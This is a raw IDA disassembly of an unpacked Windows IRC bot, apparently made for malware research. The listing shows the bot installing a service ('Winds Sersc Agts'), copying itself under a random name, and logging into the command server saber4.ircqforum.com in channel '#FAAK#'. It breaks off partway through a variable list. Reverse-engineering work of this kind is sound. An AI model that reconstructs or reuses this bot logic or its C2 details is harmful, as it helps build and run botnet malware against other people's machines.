; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : F7EBBB72F437B59C65BBC883E6DC8FF9 ; File Name : u:\work\f7ebbb72f437b59c65bbc883e6dc8ff9_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_41835A+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindsSerscAgts ; "Winds Sersc Agts" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CB608 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41AFE0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CB678 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CB5B8 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CB630 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:00416644p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41B4D5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41B4C2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41B202 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B11A add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41B0B1 push edi call sub_41B05B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43E59C call dword_4CB6EC call sub_40B2C0 call dword_4CB5AC call dword_4CB5AC mov ebx, dword_427078 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B590 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_43D808 mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 2670A78h lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2670000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 2660C3Bh nop test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427068 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43D800 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418685 pop ecx mov dword_4CB390, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270A8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CB394, eax call esi push eax call sub_41B8D8 pop ecx call sub_409B13 push 2 call dword_4CB700 push 7530h push offset aQsfpo ; "qsfpo" push ebx push ebx call near ptr 2690329h nop push eax nop call near ptr 2690295h cmp eax, 102h jnz short loc_4012A1 push 1 nop call near ptr 77E75CB5h loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CB5C4 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2670A78h lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 2690126h push eax nop call near ptr 2670000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41B9D1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_429ACC lea eax, [ebp-5F4h] push esi push eax call sub_41B980 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41B900 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_42910C jz short loc_40139C push esi xor edi, edi call sub_41AFE0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_42910C[edi], dl inc edi call sub_41AFE0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_429AC4 push eax call sub_41B886 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 2690000h cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 2680E1Fh loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427090 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C call near ptr 2680ABEh nop cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h nop call near ptr 2680000h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_418294 pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 2680E1Fh push 10h lea eax, [ebp-20h] push ebx push eax call sub_41B590 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41B590 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset dword_43D808 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi nop call near ptr 2680A54h push eax push esi push 100000h nop call near ptr 26803B1h lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_429AB8 push eax call sub_41B886 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax call near ptr 2660C3Bh nop test eax, eax jz short loc_401516 push 0C8h call near ptr 2680000h nop push dword ptr [ebp-20h] mov esi, dword_427068 call esi push dword ptr [ebp-1Ch] call esi call dword_4CB5AC push ebx call near ptr 77E75CB5h nop loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DB974, 2 jle short loc_401562 mov eax, dword_4DB978 push dword ptr [eax+4] call sub_41B779 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 2690295h push esi nop call near ptr 2660919h mov eax, dword_4DB978 cmp [eax+8], ebx jz short loc_401562 push 7D0h nop call near ptr 2680000h mov eax, dword_4DB978 push dword ptr [eax+8] nop call near ptr 26802D9h loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CB724, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_429A9C push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B0F7 lea eax, [ebp-0A0h] push eax call sub_4151AD push 0B80h push ebx push offset dword_43D810 call sub_41B590 add esp, 24h lea eax, [ebp-0A0h] push offset unk_429A78 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B0F7 add esp, 14h mov esi, eax mov edi, dword_42707C lea eax, [ebp-8] push eax push ebx push ebx push offset byte_419A01 push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43E5A4[esi], eax jnz short loc_401622 nop call near ptr 2680ABEh push eax lea eax, [ebp-0A0h] push offset unk_429A38 push eax call sub_41B886 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_4151AD push 2 call sub_40B33F pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429A0C push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B0F7 add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_4101FD push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43E5A4[esi], eax jnz short loc_40169A nop call near ptr 2680ABEh push eax lea eax, [ebp-0A0h] push offset dword_4299D8 push eax call sub_41B886 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_4151AD pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41B8E2 push 7Fh and eax, 3 push offset aSaber4_ircqfor ; "saber4.ircqforum.com" push offset dword_4CB39C mov dword_4CB508, eax call sub_41B5F0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CB41C push offset aFaak ; "#FAAK#" push edi mov dword_4CB4EC, eax call sub_41B5F0 push 3Fh mov esi, offset dword_4CB45C push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword_4CB4F0, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CB398 mov dword_4CB504, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CB504, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h nop call near ptr 2680000h inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aSaber4_ircqfor ; "saber4.ircqforum.com" push offset dword_4CB39C call sub_41B5F0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CB4EC, eax call sub_41B5F0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E8, bl jz loc_4016FC push 7Fh push offset byte_4290E8 push offset dword_4CB39C call sub_41B5F0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CB4EC, eax call sub_41B5F0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B2C0 loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CB5AC loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+662Bo var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CB654 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AAFA test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40B08E mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43E5A8 push edi push eax call sub_41B5F0 add esp, 28h push 6 push 1 push 2 call dword_4CB6D4 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43E59C[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CB5FC cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CB6EC call sub_40AB23 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j nop call near ptr 2680000h jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_429AD4 call sub_415221 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CB6EC test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B413 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41BB20 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CB500, bl jz short loc_40199A push offset byte_4CB500 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409A2D add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40B08E add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CB6A4 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CB6EC push 1388h nop call near ptr 2680000h loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CB66C test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_417F80 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h nop call near ptr 2680000h jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_5D88 = byte ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h var_50F4 = byte ptr -50F4h var_4FF4 = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = byte ptr -45ECh var_4588 = byte ptr -4588h var_4488 = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h 